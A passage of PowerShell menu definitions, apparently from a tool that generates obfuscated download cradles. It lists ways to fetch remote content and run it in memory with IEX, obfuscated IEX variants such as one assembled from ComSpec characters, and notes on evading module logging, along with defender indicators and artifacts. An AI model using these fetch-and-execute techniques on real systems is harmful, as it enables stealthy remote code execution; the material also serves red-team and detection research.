$MenuLevel_Memory_PsWebOpenRead_Stream += , @($LineSpacing, '3' , "PS ReadByte --> While(1){`$res<.ReadByte()>}" , @('Out-Cradle', $CradleType, 'Stream', 3))
$MenuLevel_Memory_PsWebOpenRead_Invoke = @()
$MenuLevel_Memory_PsWebOpenRead_Invoke += , @($LineSpacing, '1' , "No Invoke --> For <testing> download sans IEX" , @('Out-Cradle', $CradleType, 'Invoke', 1))
$MenuLevel_Memory_PsWebOpenRead_Invoke += , @($LineSpacing, '2' , "PS IEX --> <IEX/Invoke-Expression>" , @('Out-Cradle', $CradleType, 'Invoke', 2))
$MenuLevel_Memory_PsWebOpenRead_Invoke += , @($LineSpacing, '3' , "PS Get-Alias --> <Get-Alias>/<GAL>" , @('Out-Cradle', $CradleType, 'Invoke', 3))
$MenuLevel_Memory_PsWebOpenRead_Invoke += , @($LineSpacing, '4' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'Invoke', 4))
$MenuLevel_Memory_PsWebOpenRead_Invoke += , @($LineSpacing, '5' , "PS1.0 GetCmdlet --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 5))
$MenuLevel_Memory_PsWebOpenRead_Invoke += , @($LineSpacing, '6' , "PS1.0 Invoke --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 6))
$MenuLevel_Memory_PsWebOpenRead_Invoke += , @($LineSpacing, '7' , "ScriptBlock+ICM --> <ICM/Invoke-Command/.Invoke()>" , @('Out-Cradle', $CradleType, 'Invoke', 7))
$MenuLevel_Memory_PsWebOpenRead_Invoke += , @($LineSpacing, '8' , "PS Runspace --> <[PowerShell]::Create()> (StdOut)" , @('Out-Cradle', $CradleType, 'Invoke', 8))
$MenuLevel_Memory_PsWebOpenRead_Invoke += , @($LineSpacing, '9' , "Concatenated IEX --> <.(`$env:ComSpec[4,15,25]-Join'')>" , @('Out-Cradle', $CradleType, 'Invoke', 9))
$MenuLevel_Memory_PsWebOpenRead_Invoke += , @($LineSpacing, '10' , "Invoke-AsWorkflow --> <Invoke-AsWorkflow> (PS3.0+)" , @('Out-Cradle', $CradleType, 'Invoke', 10))
$MenuLevel_Memory_PsWebOpenRead_All = @()
$MenuLevel_Memory_PsWebOpenRead_All += , @($LineSpacing, '1' , "Execute <ALL> Token obfuscation techniques (random order)" , @('Out-Cradle', $CradleType, 'All', 1))
# Set values for Show-MenuContext to be displayed when each new cradle type is entered into.
$MenuContext_Memory_NetWebString = @()
$MenuContext_Memory_NetWebString += , @('Name ','NetWebString')
$MenuContext_Memory_NetWebString += , @('Description ','.NET version of PsWebString, downloads the requested resource as a String')
$MenuContext_Memory_NetWebString += , @('Compatibility','PS 3.0+')
$MenuContext_Memory_NetWebString += , @('Dependencies ','N/A')
$MenuContext_Memory_NetWebString += , @('Footprint ',@('Entirely memory-based','No New-Object cmdlet module log entry'))
$MenuContext_Memory_NetWebString += , @('Indicators ',@('powershell.exe loads C:\Windows\System32\rasman.dll','powershell.exe loads C:\Windows\System32\rasapi32.dll'))
$MenuContext_Memory_NetWebString += , @('Artifacts ',@('C:\Windows\Prefetch\POWERSHELL.EXE-********.pf','HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS','HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32'))
$MenuContext_Memory_NetWebString += , @('User-Agent ',@('None','UA generally trivial to change'))
$CradleType = 4
$MenuLevel_Memory_NetWebString = @()
$MenuLevel_Memory_NetWebString += , @($LineSpacing, 'Rearrange' , '<Rearrange> syntax structure')
$MenuLevel_Memory_NetWebString += , @($LineSpacing, 'Class ' , '<[Net.WebClient]>')
$MenuLevel_Memory_NetWebString += , @($LineSpacing, 'Method ' , '<DownloadString>')
$MenuLevel_Memory_NetWebString += , @($LineSpacing, 'Invoke ' , '<IEX>')
$MenuLevel_Memory_NetWebString += , @($LineSpacing, 'All ' , 'Select <All> choices from above (random order)')
$MenuLevel_Memory_NetWebString_Rearrange = @()
$MenuLevel_Memory_NetWebString_Rearrange += , @($LineSpacing, '1' , "Default --> <Default> syntax arrangement" , @('Out-Cradle', $CradleType, 'Rearrange', 1))
$MenuLevel_Memory_NetWebString_Rearrange += , @($LineSpacing, '2' , "Multi-Variable --> <Logical> variable names and syntax" , @('Out-Cradle', $CradleType, 'Rearrange', 2))
$MenuLevel_Memory_NetWebString_Rearrange += , @($LineSpacing, '3' , "Random-Variable --> <Random> variable names and syntax" , @('Out-Cradle', $CradleType, 'Rearrange', 3))
$MenuLevel_Memory_NetWebString_Class = @()
$MenuLevel_Memory_NetWebString_Class += , @($LineSpacing, '1' , "Default --> <[System.Net.WebClient]>" , @('Out-Cradle', $CradleType, 'NetWebClient', 1))
$MenuLevel_Memory_NetWebString_Class += , @($LineSpacing, '2' , "Shortened --> <[Net.WebClient]>" , @('Out-Cradle', $CradleType, 'NetWebClient', 2))
$MenuLevel_Memory_NetWebString_Method = @()
$MenuLevel_Memory_NetWebString_Method += , @($LineSpacing, '1' , "PS DownloadString --> <DownloadString>" , @('Out-Cradle', $CradleType, 'DownloadString', 1))
$MenuLevel_Memory_NetWebString_Method += , @($LineSpacing, '2' , "PS PsObject --> <.PsObject.Methods>" , @('Out-Cradle', $CradleType, 'DownloadString', 2))
$MenuLevel_Memory_NetWebString_Method += , @($LineSpacing, '3' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'DownloadString', 3))
$MenuLevel_Memory_NetWebString_Invoke = @()
$MenuLevel_Memory_NetWebString_Invoke += , @($LineSpacing, '1' , "No Invoke --> For <testing> download sans IEX" , @('Out-Cradle', $CradleType, 'Invoke', 1))
$MenuLevel_Memory_NetWebString_Invoke += , @($LineSpacing, '2' , "PS IEX --> <IEX/Invoke-Expression>" , @('Out-Cradle', $CradleType, 'Invoke', 2))
$MenuLevel_Memory_NetWebString_Invoke += , @($LineSpacing, '3' , "PS Get-Alias --> <Get-Alias>/<GAL>" , @('Out-Cradle', $CradleType, 'Invoke', 3))
$MenuLevel_Memory_NetWebString_Invoke += , @($LineSpacing, '4' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'Invoke', 4))
$MenuLevel_Memory_NetWebString_Invoke += , @($LineSpacing, '5' , "PS1.0 GetCmdlet --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 5))
$MenuLevel_Memory_NetWebString_Invoke += , @($LineSpacing, '6' , "PS1.0 Invoke --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 6))
$MenuLevel_Memory_NetWebString_Invoke += , @($LineSpacing, '7' , "ScriptBlock+ICM --> <ICM/Invoke-Command/.Invoke()>" , @('Out-Cradle', $CradleType, 'Invoke', 7))
$MenuLevel_Memory_NetWebString_Invoke += , @($LineSpacing, '8' , "PS Runspace --> <[PowerShell]::Create()> (StdOut)" , @('Out-Cradle', $CradleType, 'Invoke', 8))
$MenuLevel_Memory_NetWebString_Invoke += , @($LineSpacing, '9' , "Concatenated IEX --> <.(`$env:ComSpec[4,15,25]-Join'')>" , @('Out-Cradle', $CradleType, 'Invoke', 9))
$MenuLevel_Memory_NetWebString_Invoke += , @($LineSpacing, '10' , "Invoke-AsWorkflow --> <Invoke-AsWorkflow> (PS3.0+)" , @('Out-Cradle', $CradleType, 'Invoke', 10))
$MenuLevel_Memory_NetWebString_All = @()
$MenuLevel_Memory_NetWebString_All += , @($LineSpacing, '1' , "Execute <ALL> Token obfuscation techniques (random order)" , @('Out-Cradle', $CradleType, 'All', 1))
# Set values for Show-MenuContext to be displayed when each new cradle type is entered into.
$MenuContext_Memory_NetWebData = @()
$MenuContext_Memory_NetWebData += , @('Name ','NetWebData')
$MenuContext_Memory_NetWebData += , @('Description ','.NET version of PsWebData, downloads resource as Byte array from specified URI')
$MenuContext_Memory_NetWebData += , @('Compatibility','PS 3.0+')
$MenuContext_Memory_NetWebData += , @('Dependencies ','N/A')
$MenuContext_Memory_NetWebData += , @('Footprint ',@('Entirely memory-based','No New-Object cmdlet module log entry'))
$MenuContext_Memory_NetWebData += , @('Indicators ',@('powershell.exe loads C:\Windows\System32\rasman.dll','powershell.exe loads C:\Windows\System32\rasapi32.dll'))
$MenuContext_Memory_NetWebData += , @('Artifacts ',@('C:\Windows\Prefetch\POWERSHELL.EXE-********.pf','HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS','HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32'))
$MenuContext_Memory_NetWebData += , @('User-Agent ',@('None','UA generally trivial to change'))
$CradleType = 5
$MenuLevel_Memory_NetWebData = @()
$MenuLevel_Memory_NetWebData += , @($LineSpacing, 'Rearrange' , '<Rearrange> syntax structure')
$MenuLevel_Memory_NetWebData += , @($LineSpacing, 'Class ' , '<[Net.WebClient]>')
$MenuLevel_Memory_NetWebData += , @($LineSpacing, 'Method ' , '<DownloadData>')
$MenuLevel_Memory_NetWebData += , @($LineSpacing, 'Join ' , '$Array<-Join''''>')
$MenuLevel_Memory_NetWebData += , @($LineSpacing, 'Byte ' , '<[Char[]]>$Bytes')
$MenuLevel_Memory_NetWebData += , @($LineSpacing, 'Invoke ' , '<IEX>')
$MenuLevel_Memory_NetWebData += , @($LineSpacing, 'All ' , 'Select <All> choices from above (random order)')
$MenuLevel_Memory_NetWebData_Rearrange = @()
$MenuLevel_Memory_NetWebData_Rearrange += , @($LineSpacing, '1' , "Default --> <Default> syntax arrangement" , @('Out-Cradle', $CradleType, 'Rearrange', 1))
$MenuLevel_Memory_NetWebData_Rearrange += , @($LineSpacing, '2' , "Multi-Variable --> <Logical> variable names and syntax" , @('Out-Cradle', $CradleType, 'Rearrange', 2))
$MenuLevel_Memory_NetWebData_Rearrange += , @($LineSpacing, '3' , "Random-Variable --> <Random> variable names and syntax" , @('Out-Cradle', $CradleType, 'Rearrange', 3))
$MenuLevel_Memory_NetWebData_Class = @()
$MenuLevel_Memory_NetWebData_Class += , @($LineSpacing, '1' , "Default --> <[System.Net.WebClient]>" , @('Out-Cradle', $CradleType, 'NetWebClient', 1))
$MenuLevel_Memory_NetWebData_Class += , @($LineSpacing, '2' , "Shortened --> <[Net.WebClient]>" , @('Out-Cradle', $CradleType, 'NetWebClient', 2))
$MenuLevel_Memory_NetWebData_Method = @()
$MenuLevel_Memory_NetWebData_Method += , @($LineSpacing, '1' , "PS DownloadData --> <DownloadData>" , @('Out-Cradle', $CradleType, 'DownloadData', 1))
$MenuLevel_Memory_NetWebData_Method += , @($LineSpacing, '2' , "PS PsObject --> <.PsObject.Methods>" , @('Out-Cradle', $CradleType, 'DownloadData', 2))
$MenuLevel_Memory_NetWebData_Method += , @($LineSpacing, '3' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'DownloadData', 3))
$MenuLevel_Memory_NetWebData_Join = @()
$MenuLevel_Memory_NetWebData_Join += , @($LineSpacing, '1' , "PS Join --> `$Array<-Join''>" , @('Out-Cradle', $CradleType, 'Join', 1))
$MenuLevel_Memory_NetWebData_Join += , @($LineSpacing, '2' , "PS Join 2 --> <-Join>`$Array" , @('Out-Cradle', $CradleType, 'Join', 2))
$MenuLevel_Memory_NetWebData_Join += , @($LineSpacing, '3' , ".Net Join --> <[String]::Join('',>`$Array<)>" , @('Out-Cradle', $CradleType, 'Join', 3))
$MenuLevel_Memory_NetWebData_Byte = @()
$MenuLevel_Memory_NetWebData_Byte += , @($LineSpacing, '1' , "PS [Char[]] --> <[Char[]]>`$Bytes" , @('Out-Cradle', $CradleType, 'Byte', 1))
$MenuLevel_Memory_NetWebData_Byte += , @($LineSpacing, '2' , "PS [Char] --> `$Bytes|%{<[Char]>`$_}" , @('Out-Cradle', $CradleType, 'Byte', 2))
$MenuLevel_Memory_NetWebData_Byte += , @($LineSpacing, '3' , ".Net ASCII --> <[Text.Encoding]::ASCII.GetString>" , @('Out-Cradle', $CradleType, 'Byte', 3))
$MenuLevel_Memory_NetWebData_Byte += , @($LineSpacing, '4' , "PS -As Char --> `$Bytes|%{`$_<-As'Char'>}" , @('Out-Cradle', $CradleType, 'Byte', 4))
$MenuLevel_Memory_NetWebData_Invoke = @()
$MenuLevel_Memory_NetWebData_Invoke += , @($LineSpacing, '1' , "`tNo Invoke --> For <testing> download sans IEX" , @('Out-Cradle', $CradleType, 'Invoke', 1))
$MenuLevel_Memory_NetWebData_Invoke += , @($LineSpacing, '2' , "`tPS IEX --> <IEX/Invoke-Expression>" , @('Out-Cradle', $CradleType, 'Invoke', 2))
$MenuLevel_Memory_NetWebData_Invoke += , @($LineSpacing, '3' , "`tPS Get-Alias --> <Get-Alias>/<GAL>" , @('Out-Cradle', $CradleType, 'Invoke', 3))
$MenuLevel_Memory_NetWebData_Invoke += , @($LineSpacing, '4' , "`tPS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'Invoke', 4))
$MenuLevel_Memory_NetWebData_Invoke += , @($LineSpacing, '5' , "`tPS1.0 GetCmdlet --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 5))
$MenuLevel_Memory_NetWebData_Invoke += , @($LineSpacing, '6' , "`tPS1.0 Invoke --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 6))
$MenuLevel_Memory_NetWebData_Invoke += , @($LineSpacing, '7' , "`tScriptBlock+ICM --> <ICM/Invoke-Command/.Invoke()>" , @('Out-Cradle', $CradleType, 'Invoke', 7))
$MenuLevel_Memory_NetWebData_Invoke += , @($LineSpacing, '8' , "`tPS Runspace --> <[PowerShell]::Create()> (StdOut)" , @('Out-Cradle', $CradleType, 'Invoke', 8))
$MenuLevel_Memory_NetWebData_Invoke += , @($LineSpacing, '9' , "`tConcatenated IEX --> <.(`$env:ComSpec[4,15,25]-Join'')>" , @('Out-Cradle', $CradleType, 'Invoke', 9))
$MenuLevel_Memory_NetWebData_Invoke += , @($LineSpacing, '10' , "`tInvoke-AsWorkflow --> <Invoke-AsWorkflow> (PS3.0+)" , @('Out-Cradle', $CradleType, 'Invoke', 10))
$MenuLevel_Memory_NetWebData_All = @()
$MenuLevel_Memory_NetWebData_All += , @($LineSpacing, '1' , "Execute <ALL> Token obfuscation techniques (random order)" , @('Out-Cradle', $CradleType, 'All', 1))
# Set values for Show-MenuContext to be displayed when each new cradle type is entered into.
$MenuContext_Memory_NetWebOpenRead = @()
$MenuContext_Memory_NetWebOpenRead += , @('Name ','NetWebOpenRead')
$MenuContext_Memory_NetWebOpenRead += , @('Description ','.NET version of PsWebOpenRead, opens readable stream for data downloaded from the URI')
$MenuContext_Memory_NetWebOpenRead += , @('Compatibility','PS 2.0+')
$MenuContext_Memory_NetWebOpenRead += , @('Dependencies ','N/A')
$MenuContext_Memory_NetWebOpenRead += , @('Footprint ',@('Entirely memory-based','No New-Object cmdlet module log entry'))
$MenuContext_Memory_NetWebOpenRead += , @('Indicators ',@('powershell.exe loads C:\Windows\System32\rasman.dll','powershell.exe loads C:\Windows\System32\rasapi32.dll'))
$MenuContext_Memory_NetWebOpenRead += , @('Artifacts ',@('C:\Windows\Prefetch\POWERSHELL.EXE-********.pf','HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS','HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32'))
$MenuContext_Memory_NetWebOpenRead += , @('User-Agent ',@('None','UA generally trivial to change'))
$CradleType = 6
$MenuLevel_Memory_NetWebOpenRead = @()
$MenuLevel_Memory_NetWebOpenRead += , @($LineSpacing, 'Rearrange' , '<Rearrange> syntax structure')
$MenuLevel_Memory_NetWebOpenRead += , @($LineSpacing, 'Class ' , '<[Net.WebClient]>')
$MenuLevel_Memory_NetWebOpenRead += , @($LineSpacing, 'Method ' , '<OpenRead>')
$MenuLevel_Memory_NetWebOpenRead += , @($LineSpacing, 'Stream ' , '<StreamReader>/<ReadByte>')
$MenuLevel_Memory_NetWebOpenRead += , @($LineSpacing, 'Invoke ' , '<IEX>')
$MenuLevel_Memory_NetWebOpenRead += , @($LineSpacing, 'All ' , 'Select <All> choices from above (random order)')
$MenuLevel_Memory_NetWebOpenRead_Rearrange = @()
$MenuLevel_Memory_NetWebOpenRead_Rearrange += , @($LineSpacing, '1' , "Default --> <Default> syntax arrangement" , @('Out-Cradle', $CradleType, 'Rearrange', 1))
$MenuLevel_Memory_NetWebOpenRead_Rearrange += , @($LineSpacing, '2' , "Random-Variable --> <Random> variable names and syntax" , @('Out-Cradle', $CradleType, 'Rearrange', 2))
$MenuLevel_Memory_NetWebOpenRead_Class = @()
$MenuLevel_Memory_NetWebOpenRead_Class += , @($LineSpacing, '1' , "Default --> <[System.Net.WebClient]>" , @('Out-Cradle', $CradleType, 'NetWebClient', 1))
$MenuLevel_Memory_NetWebOpenRead_Class += , @($LineSpacing, '2' , "Shortened --> <[Net.WebClient]>" , @('Out-Cradle', $CradleType, 'NetWebClient', 2))
$MenuLevel_Memory_NetWebOpenRead_Method = @()
$MenuLevel_Memory_NetWebOpenRead_Method += , @($LineSpacing, '1' , "PS OpenRead --> <OpenRead>" , @('Out-Cradle', $CradleType, 'OpenRead', 1))
$MenuLevel_Memory_NetWebOpenRead_Method += , @($LineSpacing, '2' , "PS PsObject --> <.PsObject.Methods>" , @('Out-Cradle', $CradleType, 'OpenRead', 2))
$MenuLevel_Memory_NetWebOpenRead_Method += , @($LineSpacing, '3' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'OpenRead', 3))
$MenuLevel_Memory_NetWebOpenRead_Stream = @()
$MenuLevel_Memory_NetWebOpenRead_Stream += , @($LineSpacing, '1' , "PS StreamReader --> New-Object <IO.StreamReader>" , @('Out-Cradle', $CradleType, 'Stream2', 1))
$MenuLevel_Memory_NetWebOpenRead_Stream += , @($LineSpacing, '2' , "PS StreamReader 2 --> One-Liner <IO.StreamReader>" , @('Out-Cradle', $CradleType, 'Stream2', 2))
$MenuLevel_Memory_NetWebOpenRead_Stream += , @($LineSpacing, '3' , "PS ReadByte --> While(1){`$res<.ReadByte()>}" , @('Out-Cradle', $CradleType, 'Stream2', 3))
$MenuLevel_Memory_NetWebOpenRead_Invoke = @()
$MenuLevel_Memory_NetWebOpenRead_Invoke += , @($LineSpacing, '1' , "No Invoke --> For <testing> download sans IEX" , @('Out-Cradle', $CradleType, 'Invoke', 1))
$MenuLevel_Memory_NetWebOpenRead_Invoke += , @($LineSpacing, '2' , "PS IEX --> <IEX/Invoke-Expression>" , @('Out-Cradle', $CradleType, 'Invoke', 2))
$MenuLevel_Memory_NetWebOpenRead_Invoke += , @($LineSpacing, '3' , "PS Get-Alias --> <Get-Alias>/<GAL>" , @('Out-Cradle', $CradleType, 'Invoke', 3))
$MenuLevel_Memory_NetWebOpenRead_Invoke += , @($LineSpacing, '4' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'Invoke', 4))
$MenuLevel_Memory_NetWebOpenRead_Invoke += , @($LineSpacing, '5' , "PS1.0 GetCmdlet --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 5))
$MenuLevel_Memory_NetWebOpenRead_Invoke += , @($LineSpacing, '6' , "PS1.0 Invoke --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 6))
$MenuLevel_Memory_NetWebOpenRead_Invoke += , @($LineSpacing, '7' , "ScriptBlock+ICM --> <ICM/Invoke-Command/.Invoke()>" , @('Out-Cradle', $CradleType, 'Invoke', 7))
$MenuLevel_Memory_NetWebOpenRead_Invoke += , @($LineSpacing, '8' , "PS Runspace --> <[PowerShell]::Create()> (StdOut)" , @('Out-Cradle', $CradleType, 'Invoke', 8))
$MenuLevel_Memory_NetWebOpenRead_Invoke += , @($LineSpacing, '9' , "Concatenated IEX --> <.(`$env:ComSpec[4,15,25]-Join'')>" , @('Out-Cradle', $CradleType, 'Invoke', 9))
$MenuLevel_Memory_NetWebOpenRead_Invoke += , @($LineSpacing, '10' , "Invoke-AsWorkflow --> <Invoke-AsWorkflow> (PS3.0+)" , @('Out-Cradle', $CradleType, 'Invoke', 10))
$MenuLevel_Memory_NetWebOpenRead_All = @()
$MenuLevel_Memory_NetWebOpenRead_All += , @($LineSpacing, '1' , "Execute <ALL> Token obfuscation techniques (random order)" , @('Out-Cradle', $CradleType, 'All', 1))
# Set values for Show-MenuContext to be displayed when each new cradle type is entered into.
$MenuContext_Memory_PsWebRequest = @()
$MenuContext_Memory_PsWebRequest += , @('Name ','PsWebRequest')
$MenuContext_Memory_PsWebRequest += , @('Description ',@('Web request with response parsed nicely into collections','Works in CLM (Constrained Language Mode)'))
$MenuContext_Memory_PsWebRequest += , @('Compatibility','PS 3.0+')
$MenuContext_Memory_PsWebRequest += , @('Dependencies ','N/A')
$MenuContext_Memory_PsWebRequest += , @('Footprint ',@('Entirely memory-based','No New-Object cmdlet module log entry'))
$MenuContext_Memory_PsWebRequest += , @('Indicators ',@('powershell.exe loads C:\Windows\System32\rasman.dll','powershell.exe loads C:\Windows\System32\rasapi32.dll'))
$MenuContext_Memory_PsWebRequest += , @('Artifacts ',@('C:\Windows\Prefetch\POWERSHELL.EXE-********.pf','HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS','HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32'))
$MenuContext_Memory_PsWebRequest += , @('User-Agent ','Mozilla/* (Windows NT; Windows NT *; *) WindowsPowerShell/*')
$CradleType = 7
$MenuLevel_Memory_PsWebRequest = @()
$MenuLevel_Memory_PsWebRequest += , @($LineSpacing, 'Rearrange' , '<Rearrange> syntax structure')
$MenuLevel_Memory_PsWebRequest += , @($LineSpacing, 'Cmdlet ' , '<Invoke-WebRequest>/<IWR>')
$MenuLevel_Memory_PsWebRequest += , @($LineSpacing, 'Property ' , '<Content>')
$MenuLevel_Memory_PsWebRequest += , @($LineSpacing, 'Invoke ' , '<IEX>')
$MenuLevel_Memory_PsWebRequest += , @($LineSpacing, 'All ' , 'Select <All> choices from above (random order)')
$MenuLevel_Memory_PsWebRequest_Rearrange = @()
$MenuLevel_Memory_PsWebRequest_Rearrange += , @($LineSpacing, '1' , "Default --> <Default> syntax arrangement" , @('Out-Cradle', $CradleType, 'Rearrange', 1))
$MenuLevel_Memory_PsWebRequest_Rearrange += , @($LineSpacing, '2' , "Multi-Variable --> <Logical> variable names and syntax" , @('Out-Cradle', $CradleType, 'Rearrange', 2))
$MenuLevel_Memory_PsWebRequest_Rearrange += , @($LineSpacing, '3' , "Random-Variable --> <Random> variable names and syntax" , @('Out-Cradle', $CradleType, 'Rearrange', 3))
$MenuLevel_Memory_PsWebRequest_Cmdlet = @()
$MenuLevel_Memory_PsWebRequest_Cmdlet += , @($LineSpacing, '1' , "PS Invoke-WebRequest --> <Invoke-WebRequest>/<IWR>" , @('Out-Cradle', $CradleType, 'InvokeWebRequest', 1))
$MenuLevel_Memory_PsWebRequest_Cmdlet += , @($LineSpacing, '2' , "PS (Alias) WGET/CURL --> <WGET>/<CURL>" , @('Out-Cradle', $CradleType, 'InvokeWebRequest', 2))
$MenuLevel_Memory_PsWebRequest_Cmdlet += , @($LineSpacing, '3' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'InvokeWebRequest', 3))
$MenuLevel_Memory_PsWebRequest_Cmdlet += , @($LineSpacing, '4' , "PS1.0 GetCmdlet --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'InvokeWebRequest', 4))
$MenuLevel_Memory_PsWebRequest_Property = @()
$MenuLevel_Memory_PsWebRequest_Property += , @($LineSpacing, '1' , "PS Content --> <Content>" , @('Out-Cradle', $CradleType, 'Content2', 1))
$MenuLevel_Memory_PsWebRequest_Property += , @($LineSpacing, '2' , "PS String --> <.ToString()>/<[String]>" , @('Out-Cradle', $CradleType, 'Content2', 2))
$MenuLevel_Memory_PsWebRequest_Property += , @($LineSpacing, '3' , "PS PsObject --> <.PsObject.Methods>" , @('Out-Cradle', $CradleType, 'Content2', 3))
$MenuLevel_Memory_PsWebRequest_Property += , @($LineSpacing, '4' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'Content2', 4))
$MenuLevel_Memory_PsWebRequest_Invoke = @()
$MenuLevel_Memory_PsWebRequest_Invoke += , @($LineSpacing, '1' , "No Invoke --> For <testing> download sans IEX" , @('Out-Cradle', $CradleType, 'Invoke', 1))
$MenuLevel_Memory_PsWebRequest_Invoke += , @($LineSpacing, '2' , "PS IEX --> <IEX/Invoke-Expression>" , @('Out-Cradle', $CradleType, 'Invoke', 2))
$MenuLevel_Memory_PsWebRequest_Invoke += , @($LineSpacing, '3' , "PS Get-Alias --> <Get-Alias>/<GAL>" , @('Out-Cradle', $CradleType, 'Invoke', 3))
$MenuLevel_Memory_PsWebRequest_Invoke += , @($LineSpacing, '4' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'Invoke', 4))
$MenuLevel_Memory_PsWebRequest_Invoke += , @($LineSpacing, '5' , "PS1.0 GetCmdlet --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 5))
$MenuLevel_Memory_PsWebRequest_Invoke += , @($LineSpacing, '6' , "PS1.0 Invoke --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 6))
$MenuLevel_Memory_PsWebRequest_Invoke += , @($LineSpacing, '7' , "ScriptBlock+ICM --> <ICM/Invoke-Command/.Invoke()>" , @('Out-Cradle', $CradleType, 'Invoke', 7))
$MenuLevel_Memory_PsWebRequest_Invoke += , @($LineSpacing, '8' , "PS Runspace --> <[PowerShell]::Create()> (StdOut)" , @('Out-Cradle', $CradleType, 'Invoke', 8))
$MenuLevel_Memory_PsWebRequest_Invoke += , @($LineSpacing, '9' , "Concatenated IEX --> <.(`$env:ComSpec[4,15,25]-Join'')>" , @('Out-Cradle', $CradleType, 'Invoke', 9))
$MenuLevel_Memory_PsWebRequest_Invoke += , @($LineSpacing, '10' , "Invoke-AsWorkflow --> <Invoke-AsWorkflow> (PS3.0+)" , @('Out-Cradle', $CradleType, 'Invoke', 10))
$MenuLevel_Memory_PsWebRequest_All = @()
$MenuLevel_Memory_PsWebRequest_All += , @($LineSpacing, '1' , "Execute <ALL> Token obfuscation techniques (random order)" , @('Out-Cradle', $CradleType, 'All', 1))
# Set values for Show-MenuContext to be displayed when each new cradle type is entered into.
$MenuContext_Memory_PsRestMethod = @()
$MenuContext_Memory_PsRestMethod += , @('Name ','PsRestMethod')
$MenuContext_Memory_PsRestMethod += , @('Description ',@('Web request to REST web service with response returned as structured data','Works in CLM (Constrained Language Mode)'))
$MenuContext_Memory_PsRestMethod += , @('Compatibility','PS 3.0+')
$MenuContext_Memory_PsRestMethod += , @('Dependencies ','N/A')
$MenuContext_Memory_PsRestMethod += , @('Footprint ',@('Entirely memory-based','No New-Object cmdlet module log entry'))
$MenuContext_Memory_PsRestMethod += , @('Indicators ',@('powershell.exe loads C:\Windows\System32\rasman.dll','powershell.exe loads C:\Windows\System32\rasapi32.dll'))
$MenuContext_Memory_PsRestMethod += , @('Artifacts ',@('C:\Windows\Prefetch\POWERSHELL.EXE-********.pf','HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS','HKLM\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32'))
$MenuContext_Memory_PsRestMethod += , @('User-Agent ','Mozilla/* (Windows NT; Windows NT *; *) WindowsPowerShell/*')
$CradleType = 8
$MenuLevel_Memory_PsRestMethod = @()
$MenuLevel_Memory_PsRestMethod += , @($LineSpacing, 'Rearrange' , '<Rearrange> syntax structure')
$MenuLevel_Memory_PsRestMethod += , @($LineSpacing, 'Cmdlet ' , '<Invoke-RestMethod>/<IRM>')
$MenuLevel_Memory_PsRestMethod += , @($LineSpacing, 'Invoke ' , '<IEX>')
$MenuLevel_Memory_PsRestMethod += , @($LineSpacing, 'All ' , 'Select <All> choices from above (random order)')
$MenuLevel_Memory_PsRestMethod_Rearrange = @()
$MenuLevel_Memory_PsRestMethod_Rearrange += , @($LineSpacing, '1' , "Default --> <Default> syntax arrangement" , @('Out-Cradle', $CradleType, 'Rearrange', 1))
$MenuLevel_Memory_PsRestMethod_Rearrange += , @($LineSpacing, '2' , "Multi-Variable --> <Logical> variable names and syntax" , @('Out-Cradle', $CradleType, 'Rearrange', 2))
$MenuLevel_Memory_PsRestMethod_Rearrange += , @($LineSpacing, '3' , "Random-Variable --> <Random> variable names and syntax" , @('Out-Cradle', $CradleType, 'Rearrange', 3))
$MenuLevel_Memory_PsRestMethod_Cmdlet = @()
$MenuLevel_Memory_PsRestMethod_Cmdlet += , @($LineSpacing, '1' , "PS Invoke-RestMethod --> <Invoke-RestMethod>/<IRM>" , @('Out-Cradle', $CradleType, 'InvokeRestMethod', 1))
$MenuLevel_Memory_PsRestMethod_Cmdlet += , @($LineSpacing, '2' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'InvokeRestMethod', 2))
$MenuLevel_Memory_PsRestMethod_Cmdlet += , @($LineSpacing, '3' , "PS1.0 GetCmdlet --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'InvokeRestMethod', 3))
$MenuLevel_Memory_PsRestMethod_Invoke = @()
$MenuLevel_Memory_PsRestMethod_Invoke += , @($LineSpacing, '1' , "No Invoke --> For <testing> download sans IEX" , @('Out-Cradle', $CradleType, 'Invoke', 1))
$MenuLevel_Memory_PsRestMethod_Invoke += , @($LineSpacing, '2' , "PS IEX --> <IEX/Invoke-Expression>" , @('Out-Cradle', $CradleType, 'Invoke', 2))
